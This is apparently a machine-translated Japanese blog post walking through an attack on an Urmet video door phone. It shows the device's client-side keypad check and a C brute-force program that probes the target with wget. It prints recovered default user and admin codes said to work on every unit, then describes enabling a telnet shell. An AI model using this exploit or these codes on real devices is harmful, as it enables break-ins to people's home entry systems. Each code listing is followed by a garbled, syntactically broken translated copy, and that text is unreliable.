テレビ電話(2)ハッキング

プリアモスhttp://192.168.1.2:8080/お使いのブラウザのログインページに、あなたは非常に細い、おそらくデバッグ用にのみ内部で使用される(構成され、私たちのWebインターフェイスが表示されます! )

ページは、私たちがアクセスを取得するコードを入力する必要がテンキーが表示されます

一見私に最大限のセキュリティの印象を与えることはありません。

どのように動作

我々はそのたびに私たちはEnter_code(図呼び出されるJavaScriptの関数でボタンを押すと理解してソースを見て与える)

 24 var code = 0 var mul = 1 var digit = 0 var fails = 0 function Enter_code ( number ) { code = code * 10 + number mul = mul * number document. codepad . thecode . value = code digit ++ if ( digit == 8 ) { if ( mul == 40320 ) { location = code + ".html" } if ( mul == 11907 ) { location = "Admin" + code + ".html" } else { fails ++ code = 0 mul = 1 digit = 0 if ( fails < 3 ) { if ( fails == 1 ) { document. codepad . thecode . value = "Try again" } if ( fails == 2 ) { document. codepad . thecode . value = "Last Time" } } else { location = "http://www.urmet.it" document. codepad . thecode . value = "Bye!" } } } } usermulcode varは = 24 するvarコード= 0 MULが= 1 するvarするvar varは= 0の文書が失敗= 0 Enter_code 関数 (数)(コード =コード* 10 +番号 MULが=三菱UFJリース*番号。codepad。thecode。値 =コード桁+ +を コードを する場合 (桁 == 8)(場合 (MULが == 40320)(+場所="html" 場合 )(MUL == 11907)(場所 ="Admin" + +の コードは、"html"という)  (+  失敗 するコードは、= 0 MULが= 1桁= 0の場合 <(失敗3)(場合 (失敗 == 1)(document. codepad。thecode。値 ="てみてください codepad 再び ")+ 場合 (失敗 == 2)(document.。 thecode。値 ="最終更新時刻"))  (の場所 ="http://www.urmet.it"ドキュメント。codepad。thecode。値 ="バイ!")))) 

私たちは私たちに操作のアイデアを与えるコードを見る。 後は、3回の試行がUrmetのウェブサイトにリダイレクトされること`私たちは。 コードを入力する8桁の長さ、我々は2つのコードでアクセスできますが、1つは私達に別の管理者、通常のユーザへのアクセスをgives。 正しいコードを同じようにコードする場合は、コードをそれが何であるかを知らないのかはわからないが形成されて入力することによって開かれるURLです。 40320へのユーザーアクセスと11907管理者として`の結果として、彼の数字の数学関数を適用する。

どのように入力する

我々はJavaScriptから伝えることができるもう一つは、コードの計算と数字を、彼らが入力されたキーパッドではなく、注文ダイヤルを考慮してあること以上のコードですアクセスは1つだけ右の1つである、すべて他のサーバーはエラー404(ページが見つかりませんで応答します。)

 user_access , admin_access , n_digits ; char ip [ 256 ] , * sCode ; int finded_user = 0 , finded_admin = 0 ; long calcola_mul ( int * digits ) { int i , code = 0 ; long mul = 1 ; for ( i = 0 ; i < n_digits ; i ++ ) { code = code * 10 + digits [ i ] ; mul = mul * digits [ i ] ; } return mul ; } void stampav ( int * digits ) { int i ; for ( i = 0 ; i < n_digits ; i ++ ) printf ( "%d " , digits [ i ] ) ; printf ( "n" ) ; } char * stampaCode ( int * digits ) { int i ; for ( i = 0 ; i < n_digits ; i ++ ) sCode [ i ] = digits [ i ] + '0' ; return sCode ; } void backtrack ( int * v , int i ) { long mul ; int c ; char cmd [ 256 ] ; if ( i >= n_digits ) { /* fine della ricorsione */ mul = calcola_mul ( v ) ; if ( finded_user == 0 && mul == user_access ) { sprintf ( cmd , "wget -q -O - http://%s/%s.html > /dev/null" , ip , stampaCode ( v ) ) ; if ( system ( cmd ) == 0 ) { printf ( "User access code: " ) ; stampav ( v ) ; finded_user = 1 ; } return ; } if ( finded_admin == 0 && mul == admin_access ) { sprintf ( cmd , "wget -q -O - http://%s/Admin%s.html > /dev/null" , ip , stampaCode ( v ) ) ; if ( system ( cmd ) == 0 ) { printf ( "Admin access code: " ) ; stampav ( v ) ; finded_admin = 1 ; } return ; } return ; } for ( c = 1 ; c <= 9 ; c ++ ) { if ( finded_admin && finded_user ) return ; v [ i ] = c ; backtrack ( v , i + 1 ) ; } } int main ( int argc , char * argv [ ] ) { int * digits ; if ( argc != 4 && argc != 5 ) { printf ( "Usage: %s <ip[:port]> <number_digits> <user_code> [<admin_code>]n" , argv [ 0 ] ) ; return 1 ; } strcpy ( ip , argv [ 1 ] ) ; n_digits = atoi ( argv [ 2 ] ) ; user_access = atoi ( argv [ 3 ] ) ; if ( argc == 5 ) admin_access = atoi ( argv [ 4 ] ) ; else finded_admin = 1 ; digits = ( int * ) malloc ( n_digits * sizeof ( int ) ) ; sCode = ( char * ) malloc ( n_digits * sizeof ( char ) ) ; backtrack ( digits , 0 ) ; free ( digits ) ; free ( sCode ) ; return 0 ; } <stdio.h>#を含めるadmin_accessを、#user_accessなどの#include <stdlib.h>の<string.h>にする int、n_digitsは、char  ipはsCodeを[256] *; finded_user int型 = 0、finded_admin = 0; 長いcalcola_mul(int型 * 数字は)(int型 私は、コード= 0; 長い UFJリース= 1;  (i = 0;私は<n_digits;+ +)(コード =コード* 10 +数字[i]は、三菱UFJリース=三菱UFJリース* [i]の;)マルチ 返す ;) ボイド Stampavieを(int型 *  )(int型 私は、  (i = 0;私は<n_digits;+ +)  printf("%d"は、数字[i]の)  printf("n"は) ;) します 。int i *  )(int型 stampaCode char *を(;  (i = 0;私は<n_digits;+ +)sCode [i]の =数字[i]の + '0'; sCode リターン;) ボイドバックトラックを(int型 * vが、int  i)から長い c MULが、int 、char型は、複数ファイル名を指定[256]  (私は> = n_digits)MUL= calcola_mul / *(の再帰(/ *エンド v)の 場合 (finded_user == 0&&= = user_access)(sprintfを (cmd"とのwget - qを- Oの -はhttp://%sを/%s.html> / dev / nullに"が、IP アドレス、stampaCode(v)  場合 )(システム(0ファイル名を指定)== )(のprintf(" ユーザ アクセス コード"); Stampavie(五); finded_user = 1;)の 戻り;)== 場合 (finded_admin 0&&== admin_accessのUFJリース)(sprintfを(cmdは、"wget の- qは- Oを- httpの:/ /%sは/%s.html管理> / dev / nullを"は、IP アドレス、stampaCode(v)  場合 )(システム(ファイル名を指定)== 0)(のprintf(" 管理者アクセスコード:"); Stampavie(五)[i] =℃;バックトラック(五、+ finded_admin = 1;)の 戻り;)を返す;)  (c = 1の Cの<= 9、C + +の )(存在する場合 (finded_admin&finded_user) 戻り、v1);))((int argcでは、char *をのargv [])intのメインint型 *の数字 (<  argcで!= 4&&argcで!= 5)は(のprintf(" 使用法:<ip[:port]>% だnumber_digits> <user_code> [<admin_code>] nの"は、argv1 [0] を返す );)strcpy(IPアドレスは、argv] [1); n_digits =atoi(argvは[2]); user_access =atoi(argvを[3 ]) 場合 (argcで == 5)admin_access =atoi(argvは[4]); 他の finded_admin = 1、数字=(int *)malloc関数(n_digits * sizeof(int型)); sCode =(char *)を malloc関数(n_digits * sizeof(char));バックトラック(数字、0);無料(桁)、無料(sCode) は0を 返す ;) 

プログラムを実行することができますし、アクセスのビデオにコードを印刷完了。
$ ./access 192.168.1.2:8080 8 40320 11907
User access code: 1 2 3 4 5 6 7 8
Admin access code: 1 9 7 1 1 3 9 7

携帯電話は、すべての、これらのコードができるようになります同じでなければなりません誰にでもアクセスできます。 私はまた別のソフトウェアバージョンでは、そのような場合に別の電話機を試みたが、数字は10ではなく8としただけの管理者ユーザは、ケースのコードは1 9 7 1 1 3 9 7 2 7だった。

我々は、内部にある

今我々が携帯電話の設定を変更することができますされます。
""システムクリックしてWebのからの情報"とし、[サービス] のネット再び"オプション、コマンドので、とすることができますだけで接続電話は、私達が起動サーバーをtelnetの
telnet 192.168.1.2 23シェルの美しい結果です。

楽しんでください。

返信コメントを残す